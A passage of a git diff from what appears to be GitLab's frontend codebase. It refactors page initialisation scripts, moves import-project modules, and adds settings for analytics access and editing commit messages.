+ tableFields: SHARED_FIELDS.concat('requested'),
+ requestFormatter: memberRequestFormatter,
+});
groupsSelect();
memberExpirationDate();
diff --git a/app/assets/javascripts/pages/import/bitbucket/status/index.js b/app/assets/javascripts/pages/import/bitbucket/status/index.js
index 2a5432ce09d..f450a2aac00 100644
--- a/app/assets/javascripts/pages/import/bitbucket/status/index.js
+++ b/app/assets/javascripts/pages/import/bitbucket/status/index.js
@@ -1,6 +1,6 @@
import Vue from 'vue';
-import { initStoreFromElement, initPropsFromElement } from '~/import_projects';
-import BitbucketStatusTable from '~/import_projects/components/bitbucket_status_table.vue';
+import { initStoreFromElement, initPropsFromElement } from '~/import_entities/import_projects';
+import BitbucketStatusTable from '~/import_entities/import_projects/components/bitbucket_status_table.vue';
document.addEventListener('DOMContentLoaded', () => {
const mountElement = document.getElementById('import-projects-mount-element');
diff --git a/app/assets/javascripts/pages/import/bitbucket_server/status/components/bitbucket_server_status_table.vue b/app/assets/javascripts/pages/import/bitbucket_server/status/components/bitbucket_server_status_table.vue
index 35ae9d8419f..f0c4ecbe3eb 100644
--- a/app/assets/javascripts/pages/import/bitbucket_server/status/components/bitbucket_server_status_table.vue
+++ b/app/assets/javascripts/pages/import/bitbucket_server/status/components/bitbucket_server_status_table.vue
@@ -1,6 +1,6 @@
<script>
import { GlButton } from '@gitlab/ui';
-import BitbucketStatusTable from '~/import_projects/components/bitbucket_status_table.vue';
+import BitbucketStatusTable from '~/import_entities/import_projects/components/bitbucket_status_table.vue';
export default {
components: {
diff --git a/app/assets/javascripts/pages/import/bitbucket_server/status/index.js b/app/assets/javascripts/pages/import/bitbucket_server/status/index.js
index a44fc4e6b29..a6d748ce857 100644
--- a/app/assets/javascripts/pages/import/bitbucket_server/status/index.js
+++ b/app/assets/javascripts/pages/import/bitbucket_server/status/index.js
@@ -1,5 +1,5 @@
import Vue from 'vue';
-import { initStoreFromElement, initPropsFromElement } from '~/import_projects';
+import { initStoreFromElement, initPropsFromElement } from '~/import_entities/import_projects';
import BitbucketServerStatusTable from './components/bitbucket_server_status_table.vue';
document.addEventListener('DOMContentLoaded', () => {
diff --git a/app/assets/javascripts/pages/import/bulk_imports/index.js b/app/assets/javascripts/pages/import/bulk_imports/index.js
new file mode 100644
index 00000000000..37ac1a98466
--- /dev/null
+++ b/app/assets/javascripts/pages/import/bulk_imports/index.js
@@ -0,0 +1,4 @@
+import { mountImportGroupsApp } from '~/import_entities/import_groups';
+
+const mountElement = document.getElementById('import-groups-mount-element');
+mountImportGroupsApp(mountElement);
diff --git a/app/assets/javascripts/pages/import/fogbugz/status/index.js b/app/assets/javascripts/pages/import/fogbugz/status/index.js
index dcd84f0faf9..98ddb8b3aa4 100644
--- a/app/assets/javascripts/pages/import/fogbugz/status/index.js
+++ b/app/assets/javascripts/pages/import/fogbugz/status/index.js
@@ -1,4 +1,4 @@
-import mountImportProjectsTable from '~/import_projects';
+import mountImportProjectsTable from '~/import_entities/import_projects';
document.addEventListener('DOMContentLoaded', () => {
const mountElement = document.getElementById('import-projects-mount-element');
diff --git a/app/assets/javascripts/pages/import/gitea/status/index.js b/app/assets/javascripts/pages/import/gitea/status/index.js
index dcd84f0faf9..98ddb8b3aa4 100644
--- a/app/assets/javascripts/pages/import/gitea/status/index.js
+++ b/app/assets/javascripts/pages/import/gitea/status/index.js
@@ -1,4 +1,4 @@
-import mountImportProjectsTable from '~/import_projects';
+import mountImportProjectsTable from '~/import_entities/import_projects';
document.addEventListener('DOMContentLoaded', () => {
const mountElement = document.getElementById('import-projects-mount-element');
diff --git a/app/assets/javascripts/pages/import/github/status/index.js b/app/assets/javascripts/pages/import/github/status/index.js
index dcd84f0faf9..98ddb8b3aa4 100644
--- a/app/assets/javascripts/pages/import/github/status/index.js
+++ b/app/assets/javascripts/pages/import/github/status/index.js
@@ -1,4 +1,4 @@
-import mountImportProjectsTable from '~/import_projects';
+import mountImportProjectsTable from '~/import_entities/import_projects';
document.addEventListener('DOMContentLoaded', () => {
const mountElement = document.getElementById('import-projects-mount-element');
diff --git a/app/assets/javascripts/pages/import/gitlab/status/index.js b/app/assets/javascripts/pages/import/gitlab/status/index.js
index dcd84f0faf9..98ddb8b3aa4 100644
--- a/app/assets/javascripts/pages/import/gitlab/status/index.js
+++ b/app/assets/javascripts/pages/import/gitlab/status/index.js
@@ -1,4 +1,4 @@
-import mountImportProjectsTable from '~/import_projects';
+import mountImportProjectsTable from '~/import_entities/import_projects';
document.addEventListener('DOMContentLoaded', () => {
const mountElement = document.getElementById('import-projects-mount-element');
diff --git a/app/assets/javascripts/pages/import/manifest/status/index.js b/app/assets/javascripts/pages/import/manifest/status/index.js
index dcd84f0faf9..98ddb8b3aa4 100644
--- a/app/assets/javascripts/pages/import/manifest/status/index.js
+++ b/app/assets/javascripts/pages/import/manifest/status/index.js
@@ -1,4 +1,4 @@
-import mountImportProjectsTable from '~/import_projects';
+import mountImportProjectsTable from '~/import_entities/import_projects';
document.addEventListener('DOMContentLoaded', () => {
const mountElement = document.getElementById('import-projects-mount-element');
diff --git a/app/assets/javascripts/pages/profiles/accounts/show/index.js b/app/assets/javascripts/pages/profiles/accounts/show/index.js
index 96c3d725780..6c1e953aa83 100644
--- a/app/assets/javascripts/pages/profiles/accounts/show/index.js
+++ b/app/assets/javascripts/pages/profiles/accounts/show/index.js
@@ -1,3 +1,6 @@
import initProfileAccount from '~/profile/account';
+import { initClose2faSuccessMessage } from '~/authentication/two_factor_auth';
document.addEventListener('DOMContentLoaded', initProfileAccount);
+
+initClose2faSuccessMessage();
diff --git a/app/assets/javascripts/pages/profiles/two_factor_auths/index.js b/app/assets/javascripts/pages/profiles/two_factor_auths/index.js
index 1aeba6669ee..24dbc312dd2 100644
--- a/app/assets/javascripts/pages/profiles/two_factor_auths/index.js
+++ b/app/assets/javascripts/pages/profiles/two_factor_auths/index.js
@@ -1,9 +1,10 @@
import { parseBoolean } from '~/lib/utils/common_utils';
import { mount2faRegistration } from '~/authentication/mount_2fa';
+import { initRecoveryCodes } from '~/authentication/two_factor_auth';
document.addEventListener('DOMContentLoaded', () => {
const twoFactorNode = document.querySelector('.js-two-factor-auth');
- const skippable = parseBoolean(twoFactorNode.dataset.twoFactorSkippable);
+ const skippable = twoFactorNode ? parseBoolean(twoFactorNode.dataset.twoFactorSkippable) : false;
if (skippable) {
const button = `<a class="btn btn-sm btn-warning float-right" data-qa-selector="configure_it_later_button" data-method="patch" href="${twoFactorNode.dataset.two_factor_skip_url}">Configure it later</a>`;
@@ -13,3 +14,5 @@ document.addEventListener('DOMContentLoaded', () => {
mount2faRegistration();
});
+
+initRecoveryCodes();
diff --git a/app/assets/javascripts/pages/projects/blob/show/index.js b/app/assets/javascripts/pages/projects/blob/show/index.js
index 1879e263ce7..a96b88732b4 100644
--- a/app/assets/javascripts/pages/projects/blob/show/index.js
+++ b/app/assets/javascripts/pages/projects/blob/show/index.js
@@ -6,30 +6,6 @@ import GpgBadges from '~/gpg_badges';
import initWebIdeLink from '~/pages/projects/shared/web_ide_link';
import '~/sourcegraph/load';
import PipelineTourSuccessModal from '~/blob/pipeline_tour_success_modal.vue';
-import { parseBoolean } from '~/lib/utils/common_utils';
-
-const createGitlabCiYmlVisualization = (containerId = '#js-blob-toggle-graph-preview') => {
- const el = document.querySelector(containerId);
- const { isCiConfigFile, blobData } = el?.dataset;
-
- if (el && parseBoolean(isCiConfigFile)) {
- // eslint-disable-next-line no-new
- new Vue({
- el,
- components: {
- GitlabCiYamlVisualization: () =>
- import('~/pipelines/components/pipeline_graph/gitlab_ci_yaml_visualization.vue'),
- },
- render(createElement) {
- return createElement('gitlabCiYamlVisualization', {
- props: {
- blobData,
- },
- });
- },
- });
- }
-};
document.addEventListener('DOMContentLoaded', () => {
new BlobViewer(); // eslint-disable-line no-new
@@ -73,25 +49,19 @@ document.addEventListener('DOMContentLoaded', () => {
);
}
- if (gon.features?.suggestPipeline) {
- const successPipelineEl = document.querySelector('.js-success-pipeline-modal');
-
- if (successPipelineEl) {
- // eslint-disable-next-line no-new
- new Vue({
- el: successPipelineEl,
- render(createElement) {
- return createElement(PipelineTourSuccessModal, {
- props: {
- ...successPipelineEl.dataset,
- },
- });
- },
- });
- }
- }
+ const successPipelineEl = document.querySelector('.js-success-pipeline-modal');
- if (gon?.features?.gitlabCiYmlPreview) {
- createGitlabCiYmlVisualization();
+ if (successPipelineEl) {
+ // eslint-disable-next-line no-new
+ new Vue({
+ el: successPipelineEl,
+ render(createElement) {
+ return createElement(PipelineTourSuccessModal, {
+ props: {
+ ...successPipelineEl.dataset,
+ },
+ });
+ },
+ });
}
});
diff --git a/app/assets/javascripts/pages/projects/commit/pipelines/index.js b/app/assets/javascripts/pages/projects/commit/pipelines/index.js
index 26dea17ca8a..eaf340f2725 100644
--- a/app/assets/javascripts/pages/projects/commit/pipelines/index.js
+++ b/app/assets/javascripts/pages/projects/commit/pipelines/index.js
@@ -1,8 +1,5 @@
import { initCommitBoxInfo } from '~/projects/commit_box/info';
import initPipelines from '~/commit/pipelines/pipelines_bundle';
-document.addEventListener('DOMContentLoaded', () => {
- initCommitBoxInfo();
-
- initPipelines();
-});
+initCommitBoxInfo();
+initPipelines();
diff --git a/app/assets/javascripts/pages/projects/commit/show/index.js b/app/assets/javascripts/pages/projects/commit/show/index.js
index e0bd49bf6ef..0750f472341 100644
--- a/app/assets/javascripts/pages/projects/commit/show/index.js
+++ b/app/assets/javascripts/pages/projects/commit/show/index.js
@@ -15,35 +15,33 @@ import { __ } from '~/locale';
import loadAwardsHandler from '~/awards_handler';
import { initCommitBoxInfo } from '~/projects/commit_box/info';
-document.addEventListener('DOMContentLoaded', () => {
- const hasPerfBar = document.querySelector('.with-performance-bar');
- const performanceHeight = hasPerfBar ? 35 : 0;
- initChangesDropdown(document.querySelector('.navbar-gitlab').offsetHeight + performanceHeight);
- new ZenMode();
- new ShortcutsNavigation();
+const hasPerfBar = document.querySelector('.with-performance-bar');
+const performanceHeight = hasPerfBar ? 35 : 0;
+initChangesDropdown(document.querySelector('.navbar-gitlab').offsetHeight + performanceHeight);
+new ZenMode();
+new ShortcutsNavigation();
- initCommitBoxInfo();
+initCommitBoxInfo();
- initNotes();
+initNotes();
- const filesContainer = $('.js-diffs-batch');
+const filesContainer = $('.js-diffs-batch');
- if (filesContainer.length) {
- const batchPath = filesContainer.data('diffFilesPath');
+if (filesContainer.length) {
+ const batchPath = filesContainer.data('diffFilesPath');
- axios
- .get(batchPath)
- .then(({ data }) => {
- filesContainer.html($(data.html));
- syntaxHighlight(filesContainer);
- handleLocationHash();
- new Diff();
- })
- .catch(() => {
- flash({ message: __('An error occurred while retrieving diff files') });
- });
- } else {
- new Diff();
- }
- loadAwardsHandler();
-});
+ axios
+ .get(batchPath)
+ .then(({ data }) => {
+ filesContainer.html($(data.html));
+ syntaxHighlight(filesContainer);
+ handleLocationHash();
+ new Diff();
+ })
+ .catch(() => {
+ flash({ message: __('An error occurred while retrieving diff files') });
+ });
+} else {
+ new Diff();
+}
+loadAwardsHandler();
diff --git a/app/assets/javascripts/pages/projects/commits/show/index.js b/app/assets/javascripts/pages/projects/commits/show/index.js
index b456baac612..6239e4c99d2 100644
--- a/app/assets/javascripts/pages/projects/commits/show/index.js
+++ b/app/assets/javascripts/pages/projects/commits/show/index.js
@@ -1,12 +1,9 @@
import CommitsList from '~/commits';
import GpgBadges from '~/gpg_badges';
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
-
import mountCommits from '~/projects/commits';
-document.addEventListener('DOMContentLoaded', () => {
- new CommitsList(document.querySelector('.js-project-commits-show').dataset.commitsLimit); // eslint-disable-line no-new
- new ShortcutsNavigation(); // eslint-disable-line no-new
- GpgBadges.fetch();
- mountCommits(document.getElementById('js-author-dropdown'));
-});
+new CommitsList(document.querySelector('.js-project-commits-show').dataset.commitsLimit); // eslint-disable-line no-new
+new ShortcutsNavigation(); // eslint-disable-line no-new
+GpgBadges.fetch();
+mountCommits(document.getElementById('js-author-dropdown'));
diff --git a/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list.vue b/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list.vue
index 11ece478d36..6c0d20c55e9 100644
--- a/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list.vue
+++ b/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list.vue
@@ -85,6 +85,7 @@ export default {
v-model="filter"
:placeholder="$options.i18n.searchPlaceholder"
class="gl-align-self-center gl-ml-auto fork-filtered-search"
+ data-qa-selector="fork_groups_list_search_field"
/>
</template>
</gl-tabs>
diff --git a/app/assets/javascripts/pages/projects/issues/show.js b/app/assets/javascripts/pages/projects/issues/show.js
index 4b15e435f60..614f8262e5b 100644
--- a/app/assets/javascripts/pages/projects/issues/show.js
+++ b/app/assets/javascripts/pages/projects/issues/show.js
@@ -17,7 +17,8 @@ import initInviteMemberModal from '~/invite_member/init_invite_member_modal';
import { IssuableType } from '~/issuable_show/constants';
export default function() {
- const { issueType, ...issuableData } = parseIssuableData();
+ const initialDataEl = document.getElementById('js-issuable-app');
+ const { issueType, ...issuableData } = parseIssuableData(initialDataEl);
switch (issueType) {
case IssuableType.Incident:
diff --git a/app/assets/javascripts/pages/projects/jobs/index/index.js b/app/assets/javascripts/pages/projects/jobs/index/index.js
index 1b57c67f16b..ae04d070e62 100644
--- a/app/assets/javascripts/pages/projects/jobs/index/index.js
+++ b/app/assets/javascripts/pages/projects/jobs/index/index.js
@@ -1,5 +1,6 @@
import Vue from 'vue';
import GlCountdown from '~/vue_shared/components/gl_countdown.vue';
+import Tracking from '~/tracking';
document.addEventListener('DOMContentLoaded', () => {
const remainingTimeElements = document.querySelectorAll('.js-remaining-time');
@@ -13,4 +14,13 @@ document.addEventListener('DOMContentLoaded', () => {
},
}),
);
+
+ const trackButtonClick = () => {
+ if (gon.tracking_data) {
+ const { category, action, ...data } = gon.tracking_data;
+ Tracking.event(category, action, data);
+ }
+ };
+ const buttons = document.querySelectorAll('.js-empty-state-button');
+ buttons.forEach(button => button.addEventListener('click', trackButtonClick));
});
diff --git a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
index 868e001b182..0714fc21b17 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
@@ -2,7 +2,6 @@ import ZenMode from '~/zen_mode';
import initIssuableSidebar from '~/init_issuable_sidebar';
import ShortcutsIssuable from '~/behaviors/shortcuts/shortcuts_issuable';
import { handleLocationHash } from '~/lib/utils/common_utils';
-import howToMerge from '~/how_to_merge';
import initPipelines from '~/commit/pipelines/pipelines_bundle';
import initSourcegraph from '~/sourcegraph';
import loadAwardsHandler from '~/awards_handler';
@@ -15,7 +14,6 @@ export default function() {
initPipelines();
new ShortcutsIssuable(true); // eslint-disable-line no-new
handleLocationHash();
- howToMerge();
initSourcegraph();
loadAwardsHandler();
initInviteMemberModal();
diff --git a/app/assets/javascripts/pages/projects/new/index.js b/app/assets/javascripts/pages/projects/new/index.js
index 477a1ab887b..19aeb1d1ecf 100644
--- a/app/assets/javascripts/pages/projects/new/index.js
+++ b/app/assets/javascripts/pages/projects/new/index.js
@@ -2,46 +2,28 @@ import initProjectVisibilitySelector from '../../../project_visibility';
import initProjectNew from '../../../projects/project_new';
import { __ } from '~/locale';
import { deprecatedCreateFlash as createFlash } from '~/flash';
-import Tracking from '~/tracking';
-import { isExperimentEnabled } from '~/lib/utils/experimentation';
document.addEventListener('DOMContentLoaded', () => {
initProjectVisibilitySelector();
initProjectNew.bindEvents();
- const { category, property } = gon.tracking_data ?? { category: 'projects:new' };
- const hasNewCreateProjectUi = isExperimentEnabled('newCreateProjectUi');
+ import(
+ /* webpackChunkName: 'experiment_new_project_creation' */ '../../../projects/experiment_new_project_creation'
+ )
+ .then(m => {
+ const el = document.querySelector('.js-experiment-new-project-creation');
- if (!hasNewCreateProjectUi) {
- // Setting additional tracking for HAML template
+ if (!el) {
+ return;
+ }
- Array.from(
- document.querySelectorAll('.project-edit-container [data-experiment-track-label]'),
- ).forEach(node =>
- node.addEventListener('click', event => {
- const { experimentTrackLabel: label } = event.currentTarget.dataset;
- Tracking.event(category, 'click_tab', { property, label });
- }),
- );
- } else {
- import(
- /* webpackChunkName: 'experiment_new_project_creation' */ '../../../projects/experiment_new_project_creation'
- )
- .then(m => {
- const el = document.querySelector('.js-experiment-new-project-creation');
-
- if (!el) {
- return;
- }
-
- const config = {
- hasErrors: 'hasErrors' in el.dataset,
- isCiCdAvailable: 'isCiCdAvailable' in el.dataset,
- };
- m.default(el, config);
- })
- .catch(() => {
- createFlash(__('An error occurred while loading project creation UI'));
- });
- }
+ const config = {
+ hasErrors: 'hasErrors' in el.dataset,
+ isCiCdAvailable: 'isCiCdAvailable' in el.dataset,
+ };
+ m.default(el, config);
+ })
+ .catch(() => {
+ createFlash(__('An error occurred while loading project creation UI'));
+ });
});
diff --git a/app/assets/javascripts/pages/projects/pipelines/index/index.js b/app/assets/javascripts/pages/projects/pipelines/index/index.js
index bed9a751d4c..63b1f2bf975 100644
--- a/app/assets/javascripts/pages/projects/pipelines/index/index.js
+++ b/app/assets/javascripts/pages/projects/pipelines/index/index.js
@@ -1,60 +1,3 @@
-import Vue from 'vue';
-import { GlToast } from '@gitlab/ui';
-import { doesHashExistInUrl } from '~/lib/utils/url_utility';
-import {
- parseBoolean,
- historyReplaceState,
- buildUrlWithCurrentLocation,
-} from '~/lib/utils/common_utils';
-import { __ } from '~/locale';
-import PipelinesStore from '../../../../pipelines/stores/pipelines_store';
-import pipelinesComponent from '../../../../pipelines/components/pipelines_list/pipelines.vue';
-import Translate from '../../../../vue_shared/translate';
+import { initPipelinesIndex } from '~/pipelines/pipelines_index';
-Vue.use(Translate);
-Vue.use(GlToast);
-
-document.addEventListener(
- 'DOMContentLoaded',
- () =>
- new Vue({
- el: '#pipelines-list-vue',
- components: {
- pipelinesComponent,
- },
- data() {
- return {
- store: new PipelinesStore(),
- };
- },
- created() {
- this.dataset = document.querySelector(this.$options.el).dataset;
-
- if (doesHashExistInUrl('delete_success')) {
- this.$toast.show(__('The pipeline has been deleted'));
- historyReplaceState(buildUrlWithCurrentLocation());
- }
- },
- render(createElement) {
- return createElement('pipelines-component', {
- props: {
- store: this.store,
- endpoint: this.dataset.endpoint,
- pipelineScheduleUrl: this.dataset.pipelineScheduleUrl,
- helpPagePath: this.dataset.helpPagePath,
- emptyStateSvgPath: this.dataset.emptyStateSvgPath,
- errorStateSvgPath: this.dataset.errorStateSvgPath,
- noPipelinesSvgPath: this.dataset.noPipelinesSvgPath,
- autoDevopsPath: this.dataset.helpAutoDevopsPath,
- newPipelinePath: this.dataset.newPipelinePath,
- canCreatePipeline: parseBoolean(this.dataset.canCreatePipeline),
- hasGitlabCi: parseBoolean(this.dataset.hasGitlabCi),
- ciLintPath: this.dataset.ciLintPath,
- resetCachePath: this.dataset.resetCachePath,
- projectId: this.dataset.projectId,
- params: JSON.parse(this.dataset.params),
- },
- });
- },
- }),
-);
+initPipelinesIndex();
diff --git a/app/assets/javascripts/pages/projects/project.js b/app/assets/javascripts/pages/projects/project.js
index 5317093c4cf..8c7aa04a0b6 100644
--- a/app/assets/javascripts/pages/projects/project.js
+++ b/app/assets/javascripts/pages/projects/project.js
@@ -9,47 +9,11 @@ import axios from '~/lib/utils/axios_utils';
import { deprecatedCreateFlash as flash } from '~/flash';
import projectSelect from '../../project_select';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
+import initClonePanel from '~/clone_panel';
export default class Project {
constructor() {
- const $cloneOptions = $('ul.clone-options-dropdown');
- if ($cloneOptions.length) {
- const $projectCloneField = $('#project_clone');
- const $cloneBtnLabel = $('.js-git-clone-holder .js-clone-dropdown-label');
- const mobileCloneField = document.querySelector(
- '.js-mobile-git-clone .js-clone-dropdown-label',
- );
-
- const selectedCloneOption = $cloneBtnLabel.text().trim();
- if (selectedCloneOption.length > 0) {
- $(`a:contains('${selectedCloneOption}')`, $cloneOptions).addClass('is-active');
- }
-
- $('a', $cloneOptions).on('click', e => {
- e.preventDefault();
- const $this = $(e.currentTarget);
- const url = $this.attr('href');
- const cloneType = $this.data('cloneType');
-
- $('.is-active', $cloneOptions).removeClass('is-active');
- $(`a[data-clone-type="${cloneType}"]`).each(function() {
- const $el = $(this);
- const activeText = $el.find('.dropdown-menu-inner-title').text();
- const $container = $el.closest('.project-clone-holder');
- const $label = $container.find('.js-clone-dropdown-label');
-
- $el.toggleClass('is-active');
- $label.text(activeText);
- });
-
- if (mobileCloneField) {
- mobileCloneField.dataset.clipboardText = url;
- } else {
- $projectCloneField.val(url);
- }
- $('.js-git-empty .js-clone').text(url);
- });
- }
+ initClonePanel();
// Ref switcher
if (document.querySelector('.js-project-refs-dropdown')) {
diff --git a/app/assets/javascripts/pages/projects/settings/access_tokens/index.js b/app/assets/javascripts/pages/projects/settings/access_tokens/index.js
index ae2209b0292..22dddb72f98 100644
--- a/app/assets/javascripts/pages/projects/settings/access_tokens/index.js
+++ b/app/assets/javascripts/pages/projects/settings/access_tokens/index.js
@@ -1,3 +1,3 @@
import initExpiresAtField from '~/access_tokens';
-document.addEventListener('DOMContentLoaded', initExpiresAtField);
+initExpiresAtField();
diff --git a/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js b/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
index d18cde4ac87..83bec0092cb 100644
--- a/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
+++ b/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
@@ -4,6 +4,7 @@ import registrySettingsApp from '~/registry/settings/registry_settings_bundle';
import initVariableList from '~/ci_variable_list';
import initDeployFreeze from '~/deploy_freeze';
import initSettingsPipelinesTriggers from '~/ci_settings_pipeline_triggers';
+import initSharedRunnersToggle from '~/projects/settings/mount_shared_runners_toggle';
document.addEventListener('DOMContentLoaded', () => {
// Initialize expandable settings panels
@@ -32,4 +33,8 @@ document.addEventListener('DOMContentLoaded', () => {
initDeployFreeze();
initSettingsPipelinesTriggers();
+
+ if (gon?.features?.vueifySharedRunnersToggle) {
+ initSharedRunnersToggle();
+ }
});
diff --git a/app/assets/javascripts/pages/projects/settings/repository/create_deploy_token/index.js b/app/assets/javascripts/pages/projects/settings/repository/create_deploy_token/index.js
index ffc84dc106b..1dc238b56b4 100644
--- a/app/assets/javascripts/pages/projects/settings/repository/create_deploy_token/index.js
+++ b/app/assets/javascripts/pages/projects/settings/repository/create_deploy_token/index.js
@@ -1,3 +1,3 @@
import initForm from '../form';
-document.addEventListener('DOMContentLoaded', initForm);
+initForm();
diff --git a/app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue b/app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue
index 0f145dbc170..242c58c4981 100644
--- a/app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue
+++ b/app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue
@@ -94,11 +94,7 @@ export default {
{{ optionName }}
</option>
</select>
- <gl-icon
- name="chevron-down"
- aria-hidden="true"
- class="gl-absolute gl-top-3 gl-right-3 gl-text-gray-500"
- />
+ <gl-icon name="chevron-down" class="gl-absolute gl-top-3 gl-right-3 gl-text-gray-500" />
</div>
</div>
</template>
diff --git a/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue b/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue
index e50add3b0a4..be197a50775 100644
--- a/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue
+++ b/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue
@@ -14,6 +14,7 @@ import {
featureAccessLevel,
} from '../constants';
import { toggleHiddenClassBySelector } from '../external';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
const PAGE_FEATURE_ACCESS_LEVEL = s__('ProjectSettings|Everyone');
@@ -27,7 +28,7 @@ export default {
GlLink,
GlFormCheckbox,
},
- mixins: [settingsMixin],
+ mixins: [settingsMixin, glFeatureFlagsMixin()],
props: {
currentSettings: {
@@ -137,6 +138,7 @@ export default {
snippetsAccessLevel: featureAccessLevel.EVERYONE,
pagesAccessLevel: featureAccessLevel.EVERYONE,
metricsDashboardAccessLevel: featureAccessLevel.PROJECT_MEMBERS,
+ analyticsAccessLevel: featureAccessLevel.EVERYONE,
requirementsAccessLevel: featureAccessLevel.EVERYONE,
containerRegistryEnabled: true,
lfsEnabled: true,
@@ -240,6 +242,10 @@ export default {
featureAccessLevel.PROJECT_MEMBERS,
this.metricsDashboardAccessLevel,
);
+ this.analyticsAccessLevel = Math.min(
+ featureAccessLevel.PROJECT_MEMBERS,
+ this.analyticsAccessLevel,
+ );
this.requirementsAccessLevel = Math.min(
featureAccessLevel.PROJECT_MEMBERS,
this.requirementsAccessLevel,
@@ -265,6 +271,8 @@ export default {
this.snippetsAccessLevel = featureAccessLevel.EVERYONE;
if (this.pagesAccessLevel === featureAccessLevel.PROJECT_MEMBERS)
this.pagesAccessLevel = featureAccessLevel.EVERYONE;
+ if (this.analyticsAccessLevel > featureAccessLevel.NOT_ENABLED)
+ this.analyticsAccessLevel = featureAccessLevel.EVERYONE;
if (this.metricsDashboardAccessLevel === featureAccessLevel.PROJECT_MEMBERS)
this.metricsDashboardAccessLevel = featureAccessLevel.EVERYONE;
if (this.requirementsAccessLevel === featureAccessLevel.PROJECT_MEMBERS)
@@ -341,7 +349,6 @@ export default {
</select>
<gl-icon
name="chevron-down"
- aria-hidden="true"
data-hidden="true"
class="gl-absolute gl-top-3 gl-right-3 gl-text-gray-500"
/>
@@ -495,6 +502,17 @@ export default {
</project-setting-row>
</div>
<project-setting-row
+ ref="analytics-settings"
+ :label="s__('ProjectSettings|Analytics')"
+ :help-text="s__('ProjectSettings|View project analytics')"
+ >
+ <project-feature-setting
+ v-model="analyticsAccessLevel"
+ :options="featureAccessLevelOptions"
+ name="project[project_feature_attributes][analytics_access_level]"
+ />
+ </project-setting-row>
+ <project-setting-row
v-if="requirementsAvailable"
ref="requirements-settings"
:label="s__('ProjectSettings|Requirements')"
@@ -573,7 +591,6 @@ export default {
</select>
<gl-icon
name="chevron-down"
- aria-hidden="true"
data-hidden="true"
class="gl-absolute gl-top-3 gl-right-3 gl-text-gray-500"
/>
@@ -611,5 +628,24 @@ export default {
}}</template>
</gl-form-checkbox>
</project-setting-row>
+ <project-setting-row
+ v-if="glFeatures.allowEditingCommitMessages"
+ ref="allow-editing-commit-messages"
+ class="gl-mb-4"
+ >
+ <input
+ :value="allowEditingCommitMessages"
+ type="hidden"
+ name="project[project_setting_attributes][allow_editing_commit_messages]"
+ />
+ <gl-form-checkbox v-model="allowEditingCommitMessages">
+ {{ s__('ProjectSettings|Allow editing commit messages') }}
+ <template #help>{{
+ s__(
+ 'ProjectSettings|When enabled, commit authors will be able to edit commit messages on unprotected branches.',
+ )
+ }}</template>
+ </gl-form-checkbox>
+ </project-setting-row>
</div>
</template>
diff --git a/app/assets/javascripts/pages/projects/show/index.js b/app/assets/javascripts/pages/projects/show/index.js
index 413b2d01621..cc676b98e49 100644
--- a/app/assets/javascripts/pages/projects/show/index.js
+++ b/app/assets/javascripts/pages/projects/show/index.js
@@ -1,5 +1,5 @@
import initTree from 'ee_else_ce/repository';
-import initBlob from '~/blob_edit/blob_bundle';
+import { initUploadForm } from '~/blob_edit/blob_bundle';
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
import NotificationsForm from '~/notifications_form';
import UserCallout from '~/user_callout';
@@ -26,7 +26,7 @@ new UserCallout({
// Project show page loads different overview content based on user preferences
const treeSlider = document.getElementById('js-tree-list');
if (treeSlider) {
- initBlob();
+ initUploadForm();
initTree();
}
diff --git a/app/assets/javascripts/pages/search/show/index.js b/app/assets/javascripts/pages/search/show/index.js
index 88f2f30aad9..b6171e08e01 100644
--- a/app/assets/javascripts/pages/search/show/index.js
+++ b/app/assets/javascripts/pages/search/show/index.js
@@ -2,6 +2,6 @@ import Search from './search';
import { initSearchApp } from '~/search';
document.addEventListener('DOMContentLoaded', () => {
- initSearchApp();
- return new Search(); // Deprecated Dropdown (Projects)
+ initSearchApp(); // Vue Bootstrap
+ return new Search(); // Legacy Search Methods
});
diff --git a/app/assets/javascripts/pages/search/show/search.js b/app/assets/javascripts/pages/search/show/search.js
index 03675f1ce66..b411b637f36 100644
--- a/app/assets/javascripts/pages/search/show/search.js
+++ b/app/assets/javascripts/pages/search/show/search.js
@@ -1,57 +1,18 @@
import $ from 'jquery';
import setHighlightClass from 'ee_else_ce/search/highlight_blob_search_result';
-import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-import { deprecatedCreateFlash as Flash } from '~/flash';
-import Api from '~/api';
-import { __ } from '~/locale';
import Project from '~/pages/projects/project';
-import { visitUrl, queryToObject } from '~/lib/utils/url_utility';
+import { visitUrl } from '~/lib/utils/url_utility';
import refreshCounts from './refresh_counts';
export default class Search {
constructor() {
- setHighlightClass(); // Code Highlighting
- const $projectDropdown = $('.js-search-project-dropdown');
-
this.searchInput = '.js-search-input';
this.searchClear = '.js-search-clear';
- const query = queryToObject(window.location.search);
- this.groupId = query?.group_id;
- this.eventListeners();
- refreshCounts();
-
- initDeprecatedJQueryDropdown($projectDropdown, {
- selectable: true,
- filterable: true,
- filterRemote: true,
- fieldName: 'project_id',
- search: {
- fields: ['name'],
- },
- data: (term, callback) => {
- this.getProjectsData(term)
- .then(data => {
- data.unshift({
- name_with_namespace: __('Any'),
- });
